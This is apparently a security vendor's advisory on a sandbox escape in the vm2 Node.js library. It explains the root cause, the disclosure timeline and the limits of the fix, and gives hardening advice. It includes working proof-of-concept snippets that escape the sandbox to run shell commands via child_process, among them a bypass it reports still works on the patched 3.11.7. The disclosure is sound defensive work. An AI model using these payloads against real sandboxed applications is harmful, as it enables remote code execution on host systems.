Critical remote code execution in vm2, a widely used Node.js sandbox library
Published on: September 2, 2026
11 min read
GitLab's Threat Research Group found a critical sandbox escape in vm2 that runs attacker code using the library's own documented configuration.
GitLab's Threat Research Group found a critical sandbox escape vulnerability in vm2, one of the most widely adopted Node.js sandboxing libraries. The vulnerability uses a configuration copied straight from vm2's own README. We found the flaw, rated CVSS 3.1: 10.0, critical, using our own AI automated tools. Anyone running vm2 Version 3.11.6 or earlier with require.external
turned on should treat this as directly exploitable.
Once we found the vulnerability, we verified GitLab does not use vm2. We also reported it privately to vm2 and the maintainer fixed it fast, in vm2 Version 3.11.7. When we tested that fix again, it blocked the exact attack we reported.
For anyone relying on vm2, it’s worth flagging that there's a broader configuration risk here that goes beyond this one patch, based on the maintainer's own description of the fix.
TL;DR
Critical vulnerability: GitLab's Threat Research Group discovered a critical sandbox escape (CVSS 3.1: 10.0) in vm2, a widely used Node.js sandboxing library, which allows for remote code execution.
The root cause: The vulnerability stems from default configurations found in the library's own "Quick Examples" README, where the sandbox fails to properly isolate itself from the host system, allowing malicious code to gain unrestricted access.
Fix limitations: While updating to Version 3.11.7 blocks the specific attack reported, it does not fully resolve the underlying configuration risk; developers remain vulnerable if they continue to use require.external with overly broad require.root settings.
Immediate recommendations: Users should update to Version 3.11.7, but must also manually harden their configurations by restricting require.root to only necessary files and setting context: 'sandbox' instead of relying on the default 'host' setting.
Long-term advice: Due to vm2's history of recurring sandbox escape bugs, it is recommended to avoid using it for isolating truly untrusted code and instead opt for more robust methods like containers or separate processes.
Apps that run code they don't fully trust (plugin systems, coding playgrounds, CI test runners, and now tools that let an AI run its own generated code) can't just hand that code to Node's normal require()
and eval()
functions. If they did, the code would have the same power as the app itself.
vm2 is built to close that gap. It gives the untrusted code a fake version of a normal JavaScript environment, and blocks anything that tries to reach the real system underneath. But if an attacker can break out of that sandbox, none of that protection is real, even though it still looks fine to the developer who installed vm2. And because so many apps use vm2, one hole in it becomes a hole in every app built on it.
vm2's NodeVM
has a require
option that controls whether the sandboxed code can load modules outside JavaScript's built-in ones. Here's the first example from vm2's own README, under "Quick Examples":
const vm = new NodeVM({
require: { external: true, root: './' },
});
external: true
lets the sandboxed code call require()
on outside files. root
is supposed to limit that to one safe folder. But in a normal npm project, ./node_modules
, which includes vm2's own installed copy of itself, sits inside ./
. So root: './'
looks like a safety rule, but it doesn't actually keep vm2 out.
Two default settings in lib/resolver-compat.js
turn that gap into full code execution:
const {
external: externalOpt,
root: rootPaths,
context = 'host', // defaults to 'host'
...
} = options;
isPathAllowed(filename) {
if (this.rootPaths === undefined) return true;
// otherwise: is filename inside rootPaths?
}
require('./node_modules/vm2')
passes the check, because that path is inside the root. And because context
defaults to 'host'
, the file loads through Node's real, unsandboxed require()
, instead of vm2's own loader:
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
const m = this.hostRequire(filename); // real Node.js require()
mod.exports = vm.readonly(m);
}
At that point the sandboxed code isn't holding a limited, wrapped copy of vm2. It's holding the real thing, with full power. It uses that real copy to start a second NodeVM
, with rules it sets itself:
const real = require('./node_modules/vm2');
const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
module.exports = inner.run(
"module.exports = require('child_process').execSync('whoami').toString().trim()",
'inner.js'
);
The outer sandbox's rules don't apply to the inner, because it's a brand new sandbox that the attacker built themselves, with child_process
switched on.
If the attacker tries to reach fs
or child_process
straight from the outer sandbox, that still fails like it should (require('fs')
and require('child_process')
both throw "Cannot find module"
). Every normal block still works. The one gap is requiring a file that happens to be vm2's own package. At that point the attacker isn't holding a blocked, fake copy anymore. They're holding the real one.
vm2 has had two earlier sandbox escape bugs with the same end result: a nesting: true
bypass (GHSA-8hg8-63c5-gwmx) and a require.root
symlink bypass (GHSA-cp6g-6699-wx9c). Neither fix touches this code. A developer who fixed both of those is still fully open to this one.
Here's the full chain, step by step:
new NodeVM({ require: { external: true, root: './' } }).
.vm.run(untrustedCode)
starts executing whatever code the attacker controls.require('./node_modules/vm2')
. Two things go wrong here, both in resolver-compat.js
:isPathAllowed()
returns true
, because that path sits inside root
.context
defaults to 'host'
, so hostRequire()
runs instead of vm2's own loader. The result: The attacker's code now holds the real, unwrapped vm2 module, not a sandboxed copy.NodeVM
with its own settings: new real.NodeVM({ require: { builtin: ['child_process'] } }).
. This second sandbox is entirely under the attacker's control.inner.run("require('child_process').execSync(...)")
executes, and the attacker has arbitrary command execution on the host.The maintainer confirmed how it works, and folded in a duplicate report we had also filed (GHSA-w9c4-gw9x-53mq), closing it in favor of this one. The fix they shipped, in lib/resolver-compat.js
, blocks a sandboxed require()
of vm2's own lib/
folder and main file. That closes the nested-VM trick no matter what require.root
is set to. It leaves nesting: true
alone, since that's a different bug entirely.
That said, the fix is narrower than it might first appear. If you turn on require.external: true
with no require.root
set at all, vm2 now just prints one warning instead of blocking it, and the code still runs.
But point that same README setup to any other file on disk that exposes child_process
, not vm2's own package, and you still get full remote code execution on 3.11.7. No error, no warning:
// evil-helper/index.js, unrelated to vm2
module.exports = require('child_process');
const cp = require('./evil-helper/index.js');
module.exports = cp.execSync('whoami').toString().trim();
That new warning in 3.11.7 only shows up if root
is missing entirely. If the root is set but still too wide, which is exactly what the README example does, you get no warning at all. We tested both cases ourselves to check this.
Two more things to know:
So, in short: Version 3.11.7 closes this one attack path well. The wider risk, for any app that uses require.external
without a strict, empty root
folder, is a bigger and more challenging problem that's still worth addressing separately.
vm2 has been used inside plugin systems, code-running platforms, and CI tools for years, and more and more inside AI tools that run code an AI model wrote. However you measure it, it's used a lot: about 1.25 million downloads a week and over 5 million a month on npm, plus more than 4,000 GitHub stars and 328 forks.
This isn't a case of someone setting it up wrong. It's the first example in vm2's own README. Any developer who copied that example, without separately working out where node_modules
sits relative to root
, is affected by default, before and after updating to Version 3.11.7, unless they lock down require.root
themselves.
Note that vm2 continues to be vulnerable because of the following characteristics:
root: './'
reads like a limit, but whether it actually limits anything depends entirely on what else is sitting in that folder.context
defaults to 'host'
, and that fact is buried in plain code comments, unlike nesting: true
, which gets a bold warning and its own section in the README.nesting: true
. That fix, and this one, both do a good job closing the specific trick that got reported. The shared root cause behind both is harder to fully close in one pass, and that's a common challenge across vm2's disclosure history: It's had a long string of critical sandbox escape bugs through 2026, and it's understandably taken more than one round to fully address a few of them.If you use vm2: Update to Version 3.11.7. But don't stop there. Updating alone won't fix this. Point require.root
at a folder that only has the files the sandbox actually needs, and keep node_modules
and anything that can reach child_process
or fs
out of it, directly or through another file. Set context: 'sandbox'
yourself instead of leaving it on default. And given vm2's track record, don't pick it to isolate truly untrusted code in a new project. Isolating it with containers or separate processes is a stronger wall.
If you build sandboxing tools: A "limit it to this folder" setting is only as safe as the weakest file sitting in that folder. Look just as closely at any setting that changes how code loads (sandboxed vs. real) as you do at settings that change what can load. Test a library's default settings yourself instead of trusting them just because they're official. And don't assume a fix solves the real problem just because it stops your one test attack.
| Date | Event |
|---|---|
| 2026-07-23 | Report opened with the maintainer via GitHub private security advisory |
| 2026-08-18 | Report accepted by maintainer |
| 2026-08-18 | Fix committed to the maintainer's private fork |
| 2026-08-18 | We validated the fix against our PoC on the private fork |
| 2026-08-24 | Public advisory published; vm2 3.11.7 released, requested a CVE |
Thanks to the vm2 maintainer for accepting the report and shipping a fix in the same release. What we found above builds on the maintainer's own explanation of the fix. It doesn't go against it.
GitLab Duo Security Analyst Agent, part of GitLab Duo Agent Platform, can help you check your codebase for this same problem. A question like "does this project run untrusted code through a sandboxing library with require.external
turned on?" is a good place to start.
vm2's history is a good reminder that even a fast, well-handled fix can leave a broader configuration risk in place, simply because the reported case and the underlying pattern aren't always the same thing. When you look at a sandboxing library's security history, it's worth asking not just whether a report got fixed, but whether the fix covers the wider pattern too. And it's always worth checking the actual code change yourself before telling anyone else it's safe.
Enjoyed reading this blog post or have questions or feedback? Share your thoughts by creating a new topic in the GitLab community forum.
Share your feedbackStart building faster today
See what your team can do with the intelligent orchestration platform for DevSecOps.
How it works
Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content — general knowledge won't be enough. Score 70+ to count toward your certificate.
Questions are cached — you'll always get the same 5 for this article.